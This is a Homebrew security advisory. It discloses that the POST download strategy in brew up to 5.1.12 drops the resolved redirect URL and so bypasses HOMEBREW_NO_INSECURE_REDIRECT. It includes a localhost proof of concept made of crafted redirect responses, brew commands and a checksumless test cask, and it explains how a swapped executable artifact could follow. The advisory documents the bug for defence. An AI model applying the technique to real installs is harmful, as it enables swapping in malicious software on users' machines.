Skip to content

POST download strategy bypasses documented HTTPS-to-HTTP redirect protection by discarding `resolved_url`

Low
MikeMcQuaid published GHSA-7699-qf8c-q47m May 21, 2026

Package

brew

Affected versions

<= 5.1.12

Patched versions

5.1.13

Description

Summary

Verified against Homebrew/brew commit 3a3bc20c79796ca873abea0e884810ff11be3b55 from 2026-05-19. The attacker-controlled input is a Formula, Cask, or Resource URL that uses using: :post, plus the redirect behavior of that URL. The external entry point is brew fetch or an install path that downloads a using: :post artifact while HOMEBREW_NO_INSECURE_REDIRECT=1 is set.

Details

docs/Manpage.md documents HOMEBREW_NO_INSECURE_REDIRECT as forbidding redirects from secure HTTPS to insecure HTTP:

If set, forbid redirects from secure HTTPS to insecure HTTP.

The base download strategy in Library/Homebrew/download_strategy/curl_download_strategy.rb rejects HTTPS-to-HTTP redirects by checking resolved_url before downloading:

def _fetch(url:, resolved_url:, timeout:)
  ohai "Downloading from #{resolved_url}" if url != resolved_url

  if Homebrew::EnvConfig.no_insecure_redirect? &&
     url.start_with?("https://") && !resolved_url.start_with?("https://")
    error_message = "HTTPS to HTTP redirect detected and `$HOMEBREW_NO_INSECURE_REDIRECT` is set."
    $stderr.puts error_message unless quiet?
    raise CurlDownloadStrategyError.new(url, error_message)
  end

  _curl_download resolved_url, temporary_path, timeout
end

Library/Homebrew/download_strategy/curl_post_download_strategy.rb overrides _fetch, receives the same resolved_url parameter, but does not use it and does not repeat the insecure redirect check:

def _fetch(url:, resolved_url:, timeout:)
  args = if meta.key?(:data)
    escape_data = ->(d) { ["-d", URI.encode_www_form([d])] }
    [url, *meta[:data].flat_map(&escape_data)]
  else
    url, query = url.split("?", 2)
    query.nil? ? [url, "-X", "POST"] : [url, "-d", query]
  end

  curl_download(*args, to: temporary_path, try_partial: @try_partial, timeout:)
end

The sink is curl_download, which prepends --location and follows redirects:

def curl_download(*args, to:, try_partial: false, **options)
  destination = Pathname(to)
  destination.dirname.mkpath

  args = ["--location", *args]

The missing check is in the POST-specific override: it discards the resolved redirect target that the base class would have checked and downloads the original URL with curl redirect following enabled. As a result, an HTTPS using: :post URL can redirect to HTTP without triggering the configured HTTPS-to-HTTP redirect protection.

PoC

  1. Configure an HTTPS endpoint at https://localhost:18443/artifact.tar.gz?form=data and an HTTP endpoint at http://localhost:18080/artifact.tar.gz. Serve these responses:
HEAD /artifact.tar.gz?form=data HTTP/1.1
Host: localhost:18443

HTTP/1.0 302 Found
Location: http://localhost:18080/artifact.tar.gz
POST /artifact.tar.gz HTTP/1.1
Host: localhost:18443
Content-Type: application/x-www-form-urlencoded

form=data

HTTP/1.0 302 Found
Location: http://localhost:18080/artifact.tar.gz
GET /artifact.tar.gz HTTP/1.1
Host: localhost:18080

HTTP/1.0 200 OK
Content-Type: application/octet-stream

<archive bytes>
  1. Run a differential experiment with HOMEBREW_NO_INSECURE_REDIRECT=1. The normal strategy receives resolved_url as HTTP and fails:
HOMEBREW_CACHE=/work/cache \
HOMEBREW_NO_AUTO_UPDATE=1 \
HOMEBREW_NO_INSTALL_FROM_API=1 \
HOMEBREW_NO_INSECURE_REDIRECT=1 \
/repo/bin/brew ruby -- /work/run_strategy.rb \
  https://localhost:18443/artifact.tar.gz get
HTTPS to HTTP redirect detected and `$HOMEBREW_NO_INSECURE_REDIRECT` is set.
FETCH_ERROR strategy=get class=CurlDownloadStrategyError
  1. Under the same policy, the POST strategy succeeds and caches the artifact:
HOMEBREW_CACHE=/work/cache \
HOMEBREW_NO_AUTO_UPDATE=1 \
HOMEBREW_NO_INSTALL_FROM_API=1 \
HOMEBREW_NO_INSECURE_REDIRECT=1 \
/repo/bin/brew ruby -- /work/run_strategy.rb \
  'https://localhost:18443/artifact.tar.gz?form=data' post
FETCH_OK strategy=post path=/work/cache/downloads/...--artifact.tar.gz size=198 sha256=8bf6c2198d4a923fc77d9247924c100039c5a99b00adad4e97db1c7dc61e07c8

The server log proves that the real artifact bytes were served from HTTP:

HTTPS POST /artifact.tar.gz body=form=data -> 302 Location: http://localhost:18080/artifact.tar.gz
HTTP GET /artifact.tar.gz -> 200 artifact bytes=198
  1. Add the same guard used by the base strategy to the POST strategy. A monkey patch that checks resolved_url before calling the original POST _fetch makes the same POST case fail:
PATCHED_POST_EXIT=1
HTTPS to HTTP redirect detected and `$HOMEBREW_NO_INSECURE_REDIRECT` is set.
FETCH_ERROR strategy=post class=CurlDownloadStrategyError

This confirms the bug is specifically the POST override discarding resolved_url and not repeating the base strategy's redirect check.

  1. For checksumless casks, the bypass can become executable artifact substitution. A local cask with sha256 :no_check, using: :post, and an .app inside the downloaded zip was fetched through the same Cask download path:
cask "vuln-no-check" do
  version :latest
  sha256 :no_check

  url "https://localhost:18443/artifact.zip?form=data", using: :post
  name "Vuln No Check"
  desc "no_check POST redirect test"
  homepage "https://localhost:18443"

  app "Payload.app"
end
CASK token=vuln-no-check sha256=:no_check url=https://localhost:18443/artifact.zip?form=data
Warning: No checksum defined for cask 'vuln-no-check', skipping verification.
CASK_FETCH_OK path=/work/cache/downloads/...--artifact.zip size=210 sha256=e583abd92f774d06a5f2aa931b5019340dd21f2ec8bf0bbad3c0d8f22c255d2e

The corresponding server log shows the checksumless cask artifact was delivered from HTTP:

HTTPS POST /artifact.zip body=form=data -> 302 Location: http://localhost:18080/artifact.zip
HTTP GET /artifact.zip -> 200 artifact bytes=210

This demonstrates that sha256 :no_check does not provide an integrity backstop after the POST strategy crosses from HTTPS to HTTP.

Impact

An attacker who can influence the HTTP leg reached by a using: :post Homebrew download can make brew follow an HTTPS-to-HTTP redirect even when HOMEBREW_NO_INSECURE_REDIRECT=1 is set. Unlike the ordinary GET strategy, the POST strategy does not enforce the documented downgrade protection because it receives resolved_url, discards it, and performs the real download from the original URL with curl --location.

For checksum-protected Formula or Cask downloads, the attacker still has to supply bytes that match the configured checksum. For checksumless casks, the impact is materially higher: sha256 :no_check explicitly skips verification, and the PoC shows a POST-based checksumless cask fetching an .app zip from HTTP while the protection is enabled. If such a cask is in a trusted tap or accepted review path, an attacker with control over the HTTP leg can substitute an executable artifact and obtain code execution in the user's install context, for example through a malicious .pkg installer script or an application artifact later launched by the user.

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs

Credits